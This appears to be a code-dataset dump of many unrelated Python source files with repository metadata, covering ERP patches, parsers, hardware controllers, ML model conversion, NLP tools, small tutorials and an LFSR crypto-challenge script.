- Customer Name
- Supplier Name
- Contact Name
- Item Name/ Description
- Address
'''
frappe.reload_doc('core', 'doctype', 'docfield')
frappe.reload_doc('custom', 'doctype', ... | 20.333333 | 55 | 0.645199 |
9da509627c81fbc9b3fcb8458037958b7bfb36db | 5,395 | py | Python | apps/mail/snt.py | LvanArkel/sbzwebsite | a26efbb050585312c53010f14f86c23616a8071f | [
"BSD-3-Clause"
] | 1 | 2017-01-08T13:21:43.000Z | 2017-01-08T13:21:43.000Z | apps/mail/snt.py | LvanArkel/sbzwebsite | a26efbb050585312c53010f14f86c23616a8071f | [
"BSD-3-Clause"
] | 17 | 2018-12-03T14:22:14.000Z | 2021-07-14T15:15:12.000Z | apps/mail/snt.py | LvanArkel/sbzwebsite | a26efbb050585312c53010f14f86c23616a8071f | [
"BSD-3-Clause"
] | 2 | 2018-12-03T14:58:49.000Z | 2019-12-01T13:24:42.000Z | import uuid
import requests
import settings
from apps.mail.models import Group
class Log:
def __init__(self):
self._log = ""
@property
def as_str(self):
return self._log
def log(self, line, *args, **kwargs):
self._log += line.format(*args, **kwargs) + "\n"
HORNET_API_BASE... | 31.184971 | 133 | 0.663207 |
14d51d1e8feec2e99e8d6925b59cf7749301549b | 2,470 | py | Python | python/game-of-life/test/board_tests.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 8 | 2016-10-18T09:30:12.000Z | 2021-12-08T13:28:28.000Z | python/game-of-life/test/board_tests.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 29 | 2019-12-28T06:09:07.000Z | 2022-03-02T03:44:19.000Z | python/game-of-life/test/board_tests.py | enolive/learning | 075b714bd7bea6de58a8da16cf142fc6c8535e11 | [
"MIT"
] | 4 | 2018-07-23T22:20:58.000Z | 2020-09-19T09:46:41.000Z | import unittest
from assertpy import assert_that
from src.board import Board
class BoardTests(unittest.TestCase):
def test_that_cell_is_dead_by_default(self):
board = Board([])
assert_that(board.is_alive_at((0, 0))).is_false()
def test_that_already_dead_cell_can_be_set_dead_again(self):
... | 42.586207 | 95 | 0.563968 |
14db0cd1d6dcea2538ed064e4ae265803b088112 | 20,209 | py | Python | examples/FixedEBNF/FixedEBNFParser.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | examples/FixedEBNF/FixedEBNFParser.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | examples/FixedEBNF/FixedEBNFParser.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
#######################################################################
#
# SYMBOLS SECTION - Can be edited. Changes will be preserved.
#
#######################################################################
import collections
from functools import partial
import os
import sys
try:
scri... | 38.788868 | 321 | 0.618685 |
11a8811312a0b7753f05a78d0851c4837f737393 | 803 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/ch11_appendix/decortator_example.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/ch11_appendix/decortator_example.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/ch11_appendix/decortator_example.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
def check_argument_is_positive_integer(unary_func):
def helper(n):
if type(n) == int and n > 0:
return unary_func(n)
else:
raise ValueError("n must be positive and of type int")
retu... | 22.305556 | 66 | 0.691158 |
11ac04c96e8810ba7de23fcb0dae6824930d8154 | 142 | py | Python | scratch/path_test.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 2 | 2020-12-25T19:37:42.000Z | 2021-03-26T04:59:12.000Z | scratch/path_test.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | 6 | 2018-08-07T22:48:52.000Z | 2021-10-07T18:38:20.000Z | scratch/path_test.py | jecki/DHParser | c6c1bd7db2de85b5997a3640242f4f444532304e | [
"Apache-2.0"
] | null | null | null | import sys, os
print(os.path.abspath(__file__))
sys.path.append('../')
from DHParser import configuration
print(configuration.scriptpath)
| 14.2 | 34 | 0.767606 |
c9582e96306fab81db8248763f273430d67a34cb | 9,306 | py | Python | finbyz_dashboard/finbyz_dashboard/report/activity_analysis/activity_analysis.py | finbyz/finbyz_dashboard | 9c58ab7bccf589bc010d0e5bf95b20cadd4d71f0 | [
"MIT"
] | 1 | 2021-11-19T05:27:11.000Z | 2021-11-19T05:27:11.000Z | finbyz_dashboard/finbyz_dashboard/report/activity_analysis/activity_analysis.py | finbyz/finbyz_dashboard | 9c58ab7bccf589bc010d0e5bf95b20cadd4d71f0 | [
"MIT"
] | null | null | null | finbyz_dashboard/finbyz_dashboard/report/activity_analysis/activity_analysis.py | finbyz/finbyz_dashboard | 9c58ab7bccf589bc010d0e5bf95b20cadd4d71f0 | [
"MIT"
] | 2 | 2021-08-21T10:41:38.000Z | 2021-11-19T05:27:13.000Z | # Copyright (c) 2013, FinByz Tech Pvt. Ltd. and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe, json
from frappe import _
from frappe.utils.user import get_user_fullname
from finbyz_dashboard.finbyz_dashboard.dashboard_overrides.data import get_time... | 30.611842 | 198 | 0.665807 |
a31d5878e0a77739b6d3c205505b4fe174fa7762 | 1,216 | py | Python | src/onegov/org/views/exceptionviews.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/views/exceptionviews.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/org/views/exceptionviews.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.core.security import Public
from onegov.org import _, OrgApp
from onegov.org.layout import DefaultLayout
from onegov.user.auth import Auth
from webob.exc import HTTPForbidden, HTTPNotFound
@OrgApp.html(model=HTTPForbidden, permission=Public, template='forbidden.pt')
def handle_forbidden(self, request, lay... | 29.658537 | 77 | 0.694901 |
6e34ec5063d241148d4fe29655aab547b3eab51f | 518 | py | Python | src/lcdoc/mkdocs/lp/plugs/mermaid/__init__.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | 24 | 2021-10-04T22:11:59.000Z | 2022-02-02T21:51:43.000Z | src/lcdoc/mkdocs/lp/plugs/mermaid/__init__.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | 2 | 2021-10-04T21:51:30.000Z | 2021-10-05T14:15:31.000Z | src/lcdoc/mkdocs/lp/plugs/mermaid/__init__.py | axiros/docutools | f99874a64afba8f5bc740049d843151ccd9ceaf7 | [
"BSD-2-Clause"
] | null | null | null | """
Adds mermaid support to the page.
"""
from lcdoc.tools import read_file, dirname
import html
eval = "always"
M = """
<pre class="mermaid"><code>%s
</code></pre>
"""
fn = dirname(__file__) + "/page.js"
page_assets = {
"footer": read_file(fn), # finds all .mermaid and renders them
"header": {"script": "h... | 19.185185 | 81 | 0.617761 |
28461876ec416bc71e15ef087e2c4f162eca47bc | 1,362 | py | Python | code/deconvolute_rolling_sum.py | Stochastik-TU-Ilmenau/hospitalization-nowcast-hub | df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d | [
"MIT"
] | null | null | null | code/deconvolute_rolling_sum.py | Stochastik-TU-Ilmenau/hospitalization-nowcast-hub | df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d | [
"MIT"
] | null | null | null | code/deconvolute_rolling_sum.py | Stochastik-TU-Ilmenau/hospitalization-nowcast-hub | df1b2f52060cfa5c275c8c25a0cf2d7b6ad5df0d | [
"MIT"
] | null | null | null | import pandas as pd
import numpy as np
from pathlib import Path
from tqdm.auto import tqdm
tqdm.pandas()
def deconvolute(y):
y = y.to_numpy()
n = len(y)
A = np.eye(n, n)
for k in range(1, 7):
A += np.eye(n, n, k)
A = A[:-6]
initial_conditions = np.append(np.eye(6), np.zeros((6... | 30.954545 | 109 | 0.624816 |
2871f20cdf4596d4d4213bb9bf9af17f7e014ce2 | 1,004 | py | Python | light/raspberry-pi-zero/python/led.py | mikebarkmin/smartlights | 8551f8ec06391f65ec075d2fcd2f0dd958c51a90 | [
"Unlicense"
] | null | null | null | light/raspberry-pi-zero/python/led.py | mikebarkmin/smartlights | 8551f8ec06391f65ec075d2fcd2f0dd958c51a90 | [
"Unlicense"
] | 2 | 2021-05-10T14:10:34.000Z | 2021-09-01T22:32:45.000Z | light/raspberry-pi-zero/python/led.py | mikebarkmin/smartlights | 8551f8ec06391f65ec075d2fcd2f0dd958c51a90 | [
"Unlicense"
] | null | null | null | from gpiozero import PWMLED
class Led():
def __init__(self, r: float, g: float, b: float):
self.__r = r
self.__r_pwm = PWMLED(3)
self.__g = g
self.__g_pwm = PWMLED(5)
self.__b = b
self.__b_pwm = PWMLED(7)
@classmethod
def limit_to_rgb(cls, number):
... | 20.489796 | 53 | 0.538845 |
250c8bf79e454a23360d3777af1c763709044459 | 1,154 | py | Python | gestionProcesamientoDatos/migrations/0002_auto_20210121_2120.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | 1 | 2021-01-09T01:20:45.000Z | 2021-01-09T01:20:45.000Z | gestionProcesamientoDatos/migrations/0002_auto_20210121_2120.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | 1 | 2021-01-09T00:53:55.000Z | 2021-01-09T00:53:55.000Z | gestionProcesamientoDatos/migrations/0002_auto_20210121_2120.py | AnuTor/UniNeuroLab | 5825f440d4663650f038083f3da05229cc5ada4f | [
"Apache-2.0"
] | 1 | 2021-01-07T23:57:28.000Z | 2021-01-07T23:57:28.000Z | # Generated by Django 2.2.17 on 2021-01-21 21:20
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('gestionProcesamientoDatos', '0001_initial'),
]
operations = [
migrations.RemoveField(
model_name='proc_estudio',
na... | 30.368421 | 119 | 0.594454 |
255a66da97d7534e5296993cf0ddee002d1c77ca | 2,969 | py | Python | 20-fs-ias-lec/groups/07-14-logCtrl/src/tests/test_ratchet_chat_connection.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 8 | 2020-03-17T21:12:18.000Z | 2021-12-12T15:55:54.000Z | 20-fs-ias-lec/groups/07-14-logCtrl/src/tests/test_ratchet_chat_connection.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 2 | 2021-07-19T06:18:43.000Z | 2022-02-10T12:17:58.000Z | 20-fs-ias-lec/groups/07-14-logCtrl/src/tests/test_ratchet_chat_connection.py | Kyrus1999/BACnet | 5be8e1377252166041bcd0b066cce5b92b077d06 | [
"MIT"
] | 25 | 2020-03-20T09:32:45.000Z | 2021-07-18T18:12:59.000Z | import secrets
from testfixtures import LogCapture
import os
from logStore.appconn.ratchet_chat_connection import RatchetChatFunction
from logStore.funcs.EventCreationTool import EventFactory
from logStore.funcs.log import create_logger
logger = create_logger('test_chat_connection')
def test_get_ratchet_chat_event... | 34.929412 | 100 | 0.609633 |
dd2cb3e429ddc712537fec17cb9ccac9350dec2d | 3,229 | py | Python | python/en/archive/books/Python_Natural_Language_Processing/src/4_text_classification-english_sentiment_analysis/pnlp-4_english-4_modeling_with_random_forest.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/books/Python_Natural_Language_Processing/src/4_text_classification-english_sentiment_analysis/pnlp-4_english-4_modeling_with_random_forest.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | python/en/archive/books/Python_Natural_Language_Processing/src/4_text_classification-english_sentiment_analysis/pnlp-4_english-4_modeling_with_random_forest.py | aimldl/coding | 70ddbfaa454ab92fd072ee8dc614ecc330b34a70 | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
pnlp-4_english-4_modeling_with_random_forest.py
pnlp-4_text_classification-english_sentiment_analysis-4_modeling_with_random_forest.py
Source: Python Natural Language Processing
Advanced machine learning and deep learning techniques for natural language processing
Jal... | 29.898148 | 147 | 0.701146 |
662222085bb0ac790823a528142250d89b33e9d3 | 3,784 | py | Python | bigdata/flume/alpine-flume/flume-bin.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 63 | 2018-02-04T03:31:22.000Z | 2022-03-07T08:27:39.000Z | bigdata/flume/alpine-flume/flume-bin.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 3 | 2020-06-15T03:41:03.000Z | 2020-06-15T03:41:04.000Z | bigdata/flume/alpine-flume/flume-bin.py | smthkissinger/docker-images | 35e868295d04fa780325ada4168381f1e80e8fe4 | [
"BSD-3-Clause"
] | 40 | 2018-01-22T16:31:16.000Z | 2022-03-08T04:40:42.000Z | #!/usr/bin/python3
# -*- coding: utf-8 -*-
import os,sys,collections
import subprocess as sp
import json
class FlumeBin:
zkBinDir="/usr/local/apache-zookeeper/current/bin"
#zkBinDir="/usr/share/zookeeper/bin"
#flumeConfDir="/var/lib/bde/flume/conf"
flumeConfDir="/config"
def __init__(self): ... | 46.716049 | 212 | 0.543869 |
b0e355268489d91c6f97e223f8c054e054cf5b2b | 2,787 | py | Python | yolov5-coreml-tflite-converter/coreml/coreml_model/nms_model_spec_generator.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/coreml/coreml_model/nms_model_spec_generator.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | yolov5-coreml-tflite-converter/coreml/coreml_model/nms_model_spec_generator.py | SchweizerischeBundesbahnen/sbb-ml-models | 485356aeb0a277907c160d435f7f654154046a70 | [
"MIT"
] | null | null | null | import logging
import coremltools as ct
from constants import CONFIDENCE_NAME, COORDINATES_NAME, RAW_PREFIX, IOU_NAME, CONF_NAME, DEFAULT_IOU_THRESHOLD, \
DEFAULT_CONF_THRESHOLD, \
NB_OUTPUTS, BLUE, END_COLOR
class NMSModelSpecGenerator:
def __init__(self, model):
self.model = model
def gen... | 44.238095 | 138 | 0.693219 |
b00d613f9b1f540bd1b35a2759ee5beb1e16336e | 153 | py | Python | Licence 2/I33/TP 2/ex_4.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 8 | 2020-11-26T20:45:12.000Z | 2021-11-29T15:46:22.000Z | Licence 2/I33/TP 2/ex_4.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | null | null | null | Licence 2/I33/TP 2/ex_4.py | axelcoezard/licence | 1ed409c4572dea080169171beb7e8571159ba071 | [
"MIT"
] | 6 | 2020-10-23T15:29:24.000Z | 2021-05-05T19:10:45.000Z | def euler_phi(n):
Zn = 0
for i in range(n + 1):
a, b = i, n
while b > 0:
a, b = b, a % b
if a == 1:
Zn += 1
return Zn
print(euler_phi(5)) | 13.909091 | 23 | 0.490196 |
5958ada89ed67b36ac8f114c790687b1acc9a8f4 | 1,686 | py | Python | sdiff/compare.py | KeepSafe/html-structure-diff | 83ea2b8ad4b78b140bb5f69e3f2966c9fda01a89 | [
"Apache-2.0"
] | 3 | 2016-05-10T13:57:14.000Z | 2016-09-29T21:01:53.000Z | sdiff/compare.py | KeepSafe/html-structure-diff | 83ea2b8ad4b78b140bb5f69e3f2966c9fda01a89 | [
"Apache-2.0"
] | 3 | 2015-10-20T22:29:37.000Z | 2022-01-18T18:20:06.000Z | sdiff/compare.py | KeepSafe/html-structure-diff | 83ea2b8ad4b78b140bb5f69e3f2966c9fda01a89 | [
"Apache-2.0"
] | 1 | 2016-11-05T04:23:05.000Z | 2016-11-05T04:23:05.000Z | import logging
from difflib import SequenceMatcher
from itertools import zip_longest
from .errors import DeleteError, InsertError
from .model import Text
from .tree_utils import traverse
logger = logging.getLogger(__name__)
def _diff_ranges(seq1, seq2):
opcodes = SequenceMatcher(a=seq1, b=seq2, autojunk=False).... | 32.423077 | 75 | 0.624555 |
e9a53d3a8434bf45df65378ee3de692eea21dca1 | 4,411 | py | Python | testbed1/app_c.py | Benny93/HMI-Protocol | 5f98873129acebed1b2b3cf4376c2733907ead70 | [
"MIT"
] | null | null | null | testbed1/app_c.py | Benny93/HMI-Protocol | 5f98873129acebed1b2b3cf4376c2733907ead70 | [
"MIT"
] | null | null | null | testbed1/app_c.py | Benny93/HMI-Protocol | 5f98873129acebed1b2b3cf4376c2733907ead70 | [
"MIT"
] | 1 | 2019-10-20T20:35:23.000Z | 2019-10-20T20:35:23.000Z | #!/usr/bin/python3
import time
import can
import constants as const
from random import uniform
"""
Generic application controller for testing
"""
class AppController():
bustype = 'socketcan_native'
channel = 'vcan0'
bus = None
filter = [{"can_id": 0x0, "can_mask": 0x7FF}]
recv_timeout = 5.0
... | 31.283688 | 99 | 0.601904 |
f9378d82efbae220f58341fb9902c996da187738 | 5,401 | py | Python | test/test_npu/test_network_ops/test_sqrt.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-12-02T03:07:35.000Z | 2021-12-02T03:07:35.000Z | test/test_npu/test_network_ops/test_sqrt.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | 1 | 2021-11-12T07:23:03.000Z | 2021-11-12T08:28:13.000Z | test/test_npu/test_network_ops/test_sqrt.py | Ascend/pytorch | 39849cf72dafe8d2fb68bd1679d8fd54ad60fcfc | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2020, Huawei Technologies.All rights reserved.
#
# Licensed under the BSD 3-Clause License (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://opensource.org/licenses/BSD-3-Clause
#
# Unless required by applicable law... | 37.506944 | 81 | 0.666543 |
b5e4c97e0a792d9aa50c17a724656607507bd4ed | 901 | py | Python | Curso_Python/Secao2-Python-Basico-Logica-Programacao/27/02horario.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao2-Python-Basico-Logica-Programacao/27/02horario.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | Curso_Python/Secao2-Python-Basico-Logica-Programacao/27/02horario.py | pedrohd21/Cursos-Feitos | b223aad83867bfa45ad161d133e33c2c200d42bd | [
"MIT"
] | null | null | null | """
Horario
Pedro Henrique
"""
hora = input('Digite um horario (0-23): ')
if 0 < int(hora) < 24:
print(hora)
try:
if int(hora) < 12:
print(f'{hora} Bom dia!!')
elif int(hora) < 18:
print(f'{hora} Boa tarde!!')
elif int(hora) < 24:
print(f'{hora}Boa noi... | 25.027778 | 67 | 0.514983 |
b5f841e7ff841c3e1a810186857f8c86afd8c70f | 1,216 | py | Python | kts/core/init.py | konodyuk/kts | 3af5ccbf1d2089cb41d171626fcde4b0ba5aa8a7 | [
"MIT"
] | 18 | 2019-02-14T13:10:07.000Z | 2021-11-26T07:10:13.000Z | kts/core/init.py | konodyuk/kts | 3af5ccbf1d2089cb41d171626fcde4b0ba5aa8a7 | [
"MIT"
] | 2 | 2019-02-17T14:06:42.000Z | 2019-09-15T18:05:54.000Z | kts/core/init.py | konodyuk/kts | 3af5ccbf1d2089cb41d171626fcde4b0ba5aa8a7 | [
"MIT"
] | 2 | 2019-09-15T13:12:42.000Z | 2020-04-15T14:05:54.000Z | import inspect
import sys
from pathlib import Path
import kts.ui.settings
from kts.core.backend.ray_middleware import setup_ray
from kts.core.cache import frame_cache, obj_cache
from kts.core.lists import feature_list, helper_list
from kts.settings import cfg
from kts.util.debug import logger
def find_scope():
f... | 25.333333 | 69 | 0.671875 |
2f58c5726cad799d1ac54924188c2aef273ebe94 | 798 | py | Python | src/nginx.py | magistersart/ZTC_fork | ce72734ea575d9846b5b81f3efbfd14fa1f7e532 | [
"PostgreSQL"
] | null | null | null | src/nginx.py | magistersart/ZTC_fork | ce72734ea575d9846b5b81f3efbfd14fa1f7e532 | [
"PostgreSQL"
] | null | null | null | src/nginx.py | magistersart/ZTC_fork | ce72734ea575d9846b5b81f3efbfd14fa1f7e532 | [
"PostgreSQL"
] | null | null | null | #!/usr/bin/python
"""
nginx.* scripts item
This file is part of ZTC and distributed under GNU GPL v.3
Copyright (c) 2010-2011 Vladimir Rusinov <vladimir@greenmice.info>
Params:
$1 - metric name. Supported:
accepts - number of connection accepted by nginx (since server start)
handled - number of co... | 33.25 | 79 | 0.729323 |
23db978f0ef937011a581950309c6ce618228a7d | 5,124 | py | Python | nlp2go/parser.py | voidful/nlp2go | c83cd96a5618ef3f95f6c5174071cba711003761 | [
"Apache-2.0"
] | 25 | 2020-02-20T14:25:58.000Z | 2022-01-05T03:32:37.000Z | nlp2go/parser.py | voidful/nlp2go | c83cd96a5618ef3f95f6c5174071cba711003761 | [
"Apache-2.0"
] | 3 | 2020-10-21T15:03:39.000Z | 2020-10-21T15:03:48.000Z | nlp2go/parser.py | voidful/nlp2go | c83cd96a5618ef3f95f6c5174071cba711003761 | [
"Apache-2.0"
] | 1 | 2020-09-15T15:22:49.000Z | 2020-09-15T15:22:49.000Z | from collections import OrderedDict, defaultdict
import nlp2
import tfkit
class Parser:
def __init__(self, model_type, model, tokenizer):
self.model = model
self.tokenizer = tokenizer
im = self.INPUT_PARSER_MAPPING
om = self.OUTPUT_PARSER_MAPPING
self._input_parser = im[mod... | 40.346457 | 116 | 0.605191 |
9b18338c27c7f385742e349e5e03f48ce65a248a | 2,586 | py | Python | code/toy_ai_takeoff_model/takeoff.py | niplav/site | 09380a8585e6b067c4cce23da13ca9601320bd51 | [
"MIT"
] | 2 | 2022-02-09T14:02:59.000Z | 2022-03-23T11:50:47.000Z | code/toy_ai_takeoff_model/takeoff.py | niplav/site | 09380a8585e6b067c4cce23da13ca9601320bd51 | [
"MIT"
] | null | null | null | code/toy_ai_takeoff_model/takeoff.py | niplav/site | 09380a8585e6b067c4cce23da13ca9601320bd51 | [
"MIT"
] | null | null | null | import random
import numpy as np
exec(open("ndim_diamond_square.py").read())
def climb(space, pos, size, dim):
"""At position pos in space, do some kind of climbing."""
return climb_dim(space, pos, size, dim)
def climb_dim(space, pos, size, dim):
"""Look in direction of each dimension (not two dimensions at
once... | 32.734177 | 87 | 0.659706 |
f1e7865f6b3038fb3a040174a01c3be2f81c2f33 | 2,382 | py | Python | lib/widgets/canvas.py | moreorem/graphdener | ad8a4b98ad79afb2da820248d656384614721882 | [
"BSD-3-Clause"
] | null | null | null | lib/widgets/canvas.py | moreorem/graphdener | ad8a4b98ad79afb2da820248d656384614721882 | [
"BSD-3-Clause"
] | null | null | null | lib/widgets/canvas.py | moreorem/graphdener | ad8a4b98ad79afb2da820248d656384614721882 | [
"BSD-3-Clause"
] | null | null | null | from ..graphics.graph import Canvas
from PyQt5.QtWidgets import (QWidget, QGridLayout, QFrame, QStackedLayout)
from ..services.actions import Call
import numpy as np
from .. import func
class CanvasWidget(QFrame):
def __init__(self, parent=None):
super(CanvasWidget, self).__init__(parent)
self.__c... | 35.029412 | 88 | 0.612091 |
7b65a6510cbcc0562f0a6aac9510e8cc71bb2133 | 576 | py | Python | frappe-bench/apps/erpnext/erpnext/patches/v10_0/added_extra_gst_custom_field_in_gstr2.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v10_0/added_extra_gst_custom_field_in_gstr2.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | frappe-bench/apps/erpnext/erpnext/patches/v10_0/added_extra_gst_custom_field_in_gstr2.py | Semicheche/foa_frappe_docker | a186b65d5e807dd4caf049e8aeb3620a799c1225 | [
"MIT"
] | null | null | null | import frappe
from erpnext.regional.india.setup import make_custom_fields
def execute():
company = frappe.get_all('Company', filters = {'country': 'India'})
if not company:
return
for doctype in ["Sales Invoice", "Delivery Note", "Purchase Invoice"]:
frappe.db.sql("""delete from `tabCustom Field` where dt = %... | 26.181818 | 92 | 0.704861 |
c8ec938d2e3a38818601f732d3414812dc528366 | 952 | py | Python | 0083remove-duplicates-from-sorted-list.py | meat00/my-leetcode-python | 8312de396b29e1d6dd54a65f87fa0511eb400faa | [
"MIT"
] | null | null | null | 0083remove-duplicates-from-sorted-list.py | meat00/my-leetcode-python | 8312de396b29e1d6dd54a65f87fa0511eb400faa | [
"MIT"
] | null | null | null | 0083remove-duplicates-from-sorted-list.py | meat00/my-leetcode-python | 8312de396b29e1d6dd54a65f87fa0511eb400faa | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
class ListNode:
def __init__(self, x):
self.val = x
self.next = None
def __str__(self):
text = str()
node = self
while node != None:
text += "%d->" %node.val
node = node.next
text += "None"
... | 20.255319 | 45 | 0.477941 |
a97c6bd887ece0314a0683d84f1a7809822819e3 | 1,339 | py | Python | Python/zzz_training_challenge/Python_Challenge/solutions/ch05_datastructures/intro/dictionaries.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/ch05_datastructures/intro/dictionaries.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/zzz_training_challenge/Python_Challenge/solutions/ch05_datastructures/intro/dictionaries.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | # Beispielprogramm für das Buch "Python Challenge"
#
# Copyright 2020 by Michael Inden
mapping = {"Micha": 49, "Peter": 42, "Tom": 27}
mapping["NEW"] = 42
mapping.update({"Jim": 37, "John": 55})
print(mapping)
print(mapping.items())
print(mapping.keys())
print(mapping.values())
# "contains key"
print("contains key M... | 29.755556 | 76 | 0.67065 |
fd83d387b84d5d73e3116bc8f62681720d4460f6 | 145 | py | Python | MT-LSTM/__init__.py | baowj-678/TC | 4c9bf6bf2202c9930616259d3f3e1a2b0529a6e6 | [
"MIT"
] | null | null | null | MT-LSTM/__init__.py | baowj-678/TC | 4c9bf6bf2202c9930616259d3f3e1a2b0529a6e6 | [
"MIT"
] | null | null | null | MT-LSTM/__init__.py | baowj-678/TC | 4c9bf6bf2202c9930616259d3f3e1a2b0529a6e6 | [
"MIT"
] | null | null | null | import sys
import os
abs_path = os.path.dirname(os.path.abspath(__file__))
sys.path.append(abs_path)
from MT_LSTM import *
from config import * | 18.125 | 53 | 0.77931 |
8b722db43c877eeacbc6d58d9eda32872cca8dc7 | 1,583 | py | Python | crypto/ReSolveFinaL/script.py | killua4564/2019-AIS3-preexam | b13b5c9d3a2ec8beef7cca781154655bb51605e3 | [
"MIT"
] | 1 | 2019-06-15T11:45:41.000Z | 2019-06-15T11:45:41.000Z | crypto/ReSolveFinaL/script.py | killua4564/2019-AIS3-preexam | b13b5c9d3a2ec8beef7cca781154655bb51605e3 | [
"MIT"
] | null | null | null | crypto/ReSolveFinaL/script.py | killua4564/2019-AIS3-preexam | b13b5c9d3a2ec8beef7cca781154655bb51605e3 | [
"MIT"
] | null | null | null | import base64
import itertools
def toBin(s):
ret = []
if type(s) == type(b''):
s = "".join(map(chr, s))
for c in s:
ret.append(bin(ord(c))[2:].zfill(8))
return "".join(ret)
class LFSR:
def __init__(self, register, taps):
self.register = register
self.taps = taps
... | 22.942029 | 65 | 0.55338 |
8bd3aeec4a096695cb0dc698ffa2e2be6c6bef4e | 324 | py | Python | Python/numpy/np_slice.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/numpy/np_slice.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | Python/numpy/np_slice.py | Kreijeck/learning | eaffee08e61f2a34e01eb8f9f04519aac633f48c | [
"MIT"
] | null | null | null | import numpy as np
temp = [-1.5, -1.2, 0., 2.1, 24.2, 12, 14., 5.4, 4.7]
np_temp = np.array(temp)
print(f"Original: {temp}")
print("Slice basic")
print(temp[1:7])
print(np_temp[1:7])
print("Slice with Steps:")
print(temp[1:7:2])
print(np_temp[1:7:2])
print("Slice revert")
print(temp[::-1])
print(np_temp[::-1])
print... | 19.058824 | 53 | 0.626543 |
47d09fbc776ee3bbd7427488b867587564e5237c | 2,320 | py | Python | app/models/auth/User.py | nucleo-de-telessaude-do-maranhao/abtms | 8d1b1df223d9f07fc4447836011f3e3678625d59 | [
"MIT"
